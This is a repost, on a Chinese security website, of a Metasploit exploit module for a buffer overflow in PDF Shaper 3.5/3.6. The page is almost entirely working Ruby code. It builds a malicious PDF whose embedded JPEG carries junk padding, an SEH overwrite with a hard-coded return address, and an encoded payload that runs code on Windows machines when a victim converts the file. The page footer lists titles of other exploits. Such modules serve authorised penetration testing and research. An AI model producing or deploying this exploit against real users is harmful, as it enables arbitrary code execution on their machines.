首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PDF Shaper Buffer Overflow
来源:metasploit.com 作者:metacom 发布时间:2016-12-02  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::PDF
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'PDF Shaper Buffer Overflow',
      'Description'     => %q{
          PDF Shaper is prone to a security vulnerability when processing PDF files.
        The vulnerability appear when we use Convert PDF to Image and use a specially
        crafted PDF file. This module has been tested successfully on Win Xp, Win 7,
        Win 8, Win 10.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'metacom27[at]gmail.com - twitter.com/m3tac0m', # POC
          'metacom' # MSF Module
        ],
      'References'      =>
        [
          ['URL', 'https://www.exploit-db.com/exploits/37760/']
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'process', # none/process/thread/seh
        },
      'Platform'        => 'win',
      'Payload'         =>
        {
          'Space' => 2000,
          'DisableNops' => true
        },
      'Targets'         =>
        [
          ['<Win Xp, Win 7, Win 8, Win 10 / PDF Shaper v.3.5 and v.3.6>',
           {
             'Ret' => 0x00402AC1, # PDFTools.exe
             'Offset' => 433
           }
          ]
        ],
      'Privileged'      => false,
      'DisclosureDate'  => 'Oct 03 2015',
      'DefaultTarget'   => 0
    ))

    register_options(
      [
        OptString.new('FILENAME', [false, 'The file name.', 'msf.pdf'])
      ], self.class
    )
  end

  def exploit
    file_create(make_pdf)
  end

  def jpeg
    buffer = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00"
    buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02"
    buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04"
    buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08"
    buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
    buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05"
    buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"
    buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"
    buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"
    buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00"
    buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4"
    buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00"
    buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01"
    buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"
    buffer << "\x01\x00\x02\x03\x04\x05\x06\x07"
    buffer << rand_text(target['Offset']) # junk
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded
    buffer << rand_text(2388 - payload.encoded.length)
    buffer
  end

  def make_pdf
    @pdf << header
    add_object(1, "<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>")
    add_object(2, "<</Type/Outlines>>")
    add_object(3, "<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>")
    add_object(4, "[/PDF/Text/ImageC]")
    add_object(5, "<</Type/Page/Parent 3 0 R/Contents 6 0 R>>")
    stream_1 = "stream" << eol
    stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
    stream_1 << "endstream" << eol
    add_object(6, "<</Length 91>>#{stream_1}")
    stream = "<<" << eol
    stream << "/Width 230" << eol
    stream << "/BitsPerComponent 8" << eol
    stream << "/Name /X" << eol
    stream << "/Height 50" << eol
    stream << "/Intent /RelativeColorimetric" << eol
    stream << "/Subtype /Image" << eol
    stream << "/Filter /DCTDecode" << eol
    stream << "/Length #{jpeg.length}" << eol
    stream << "/ColorSpace /DeviceCMYK" << eol
    stream << "/Type /XObject" << eol
    stream << ">>"
    stream << "stream" << eol
    stream << jpeg << eol
    stream << "endstream" << eol
    add_object(7, stream)
    finish_pdf
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ntpd 4.2.8 Stack Overflow Proo
·Disk Savvy Enterprise 9.1.14 -
·Xitami Web Server 5.0a0 - Deni
·MS Edge CMarkup::EnsureDeleteC
·Google Chrome Accessibility bl
·Opera foreignObject textNode::
·WinPower 4.9.0.4 - Privilege E
·Windows Escalate UAC Protectio
·Linux Kernel 2.6.22 < 3.9 - 'D
·Apache ActiveMQ 5.11.1/5.13.2
·BlackStratus LOGStorm 4.5.1.35
·Eagle Speed USB Modem Software
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved